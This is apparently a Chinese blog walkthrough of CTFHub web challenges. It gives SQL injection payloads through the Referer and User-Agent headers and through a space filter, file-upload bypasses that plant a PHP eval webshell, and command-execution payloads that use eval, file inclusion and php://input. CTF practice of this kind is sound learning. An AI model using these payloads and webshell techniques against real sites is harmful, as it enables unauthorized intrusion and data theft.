ctfhub技能树web,我的头条面试经历分享

User-Agent:-1 union select 1,iarnbdnvts from qtanuxwndk

Refer注入

也是bp抓包,修改refer的值,再进行注入

Referer: 1 order by 2

Referer: -1 union select 1,2

Referer: -1 union select 1,database()

Referer: -1 union select 1,group_concat(table_name) from information_schema.tables where table_schema=‘sqli’

Referer: -1 union select 1,group_concat(column_name) from information_schema.columns where table_name=‘sqlyqzevmr’

Referer: -1 union select 1,dvidlvlifi from sqlyqzevmr

过滤空格

题目说了过滤空格,那么就可以用注释的方法绕过,如/**/

?id=1/**/order/**/by/**/2

?id=-1/**/union/**/select/**/1,2

?id=-1/**/union/**/select/**/1,database()

?id=-1/**/union/**/select/**/1,group_concat(table_name)/**/from/**/information_schema.tables/**/where/**/table_schema=‘sqli’

?id=-1/**/union/**/select/**/1,group_concat(column_name)/**/from/**/information_schema.columns/**/where/**/table_name=‘ykdtufnqax’

?id=-1/**/union/**/select/**/1,ucyvexdzpv/**/from/**/ykdtufnqax

文件上传

无验证

因为是无验证,所以直接写一个<?php @eval($\_POST['a']); ?>的php文件上传就好了,然后蚁剑连接,得到flag

前端验证

将文件名改成1.jpg然后bp抓包进行上传,在bp里将后缀改回php,蚁剑连接即可

.htaccess

先上传一个.htaccess文件,内容如下:

SetHandler application/x-httpd-php

这样当前目录下的所有文件都会被当初php来解析

然后再上传1.jpg,蚁剑连接

MIME验证

上传1.php用bp抓包,将文件类型也就是Content-Type修改为image/jpeg

00截断

上传1.php使用bp抓包在文件名后面添加%00.jpg,发现上传成功却没有返回地址

F12查看源代码

关键在这一句,上传成功后会在10到99中随机取一个数,这样上传的路径就不确定,也无法连接,所以也要采用00截断

修改这两处,再蚁剑连接/upload/1.php即可得到flag

双写后缀

直接上传1.php发现php被替换为空,尝试双写绕过,修改文件名为1.pphphp,上传成功

蚁剑连接/upload/1.php

文件头检测

直接上传1.php提示文件类型不正确,只允许上传jpg、png、gif类型的文件

根据题目意思文件头检测,上传1.php使用bp抓包

在1.php内容开头部分添加GIF89a并且修改文件类型为image/gif

上传成功,蚁剑连接得到flag

RCE

eval执行

传个?cmd=system(‘ls’);发现能够执行ls命令,当前目录下存在index.php文件

?cmd=system(‘ls /’); 查看根目录下是否存在flag

发现存在flag_29557文件

?cmd=system(‘cat /flag_29557’);

cat一下得到flag

文件包含

这段代码的意思是通过get的方式传入参数file,如果传入的参数中包含flag就会输出Hacker!!!,否则就直接显示这个文件内容。

发现底下有个提示,点进去跳转到/shell.txt,是一句话木马

这样就可以利用,传入如下参数

接下来就跟上题一样,ls /,然后cat /flag

php://input

get方式传入的file参数前6位必须包含php://,这样才能包含文件,否则输出Hacker!!!

因为不知道文件名,所以这时候可以考虑php://input

php://input 是个可以访问请求的原始数据的只读流。当请求方式是post,并且Content-Type不等于”multipart/form-data”时,可以使用php://input来获取原始请求的数据。

bp抓包,将请求方式改为POST,在最底下传入<? php system(‘ls /’); ?>

就可以执行该命令,得到根目录下的文件,再cat一下

  • 27
    点赞
  • 12
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值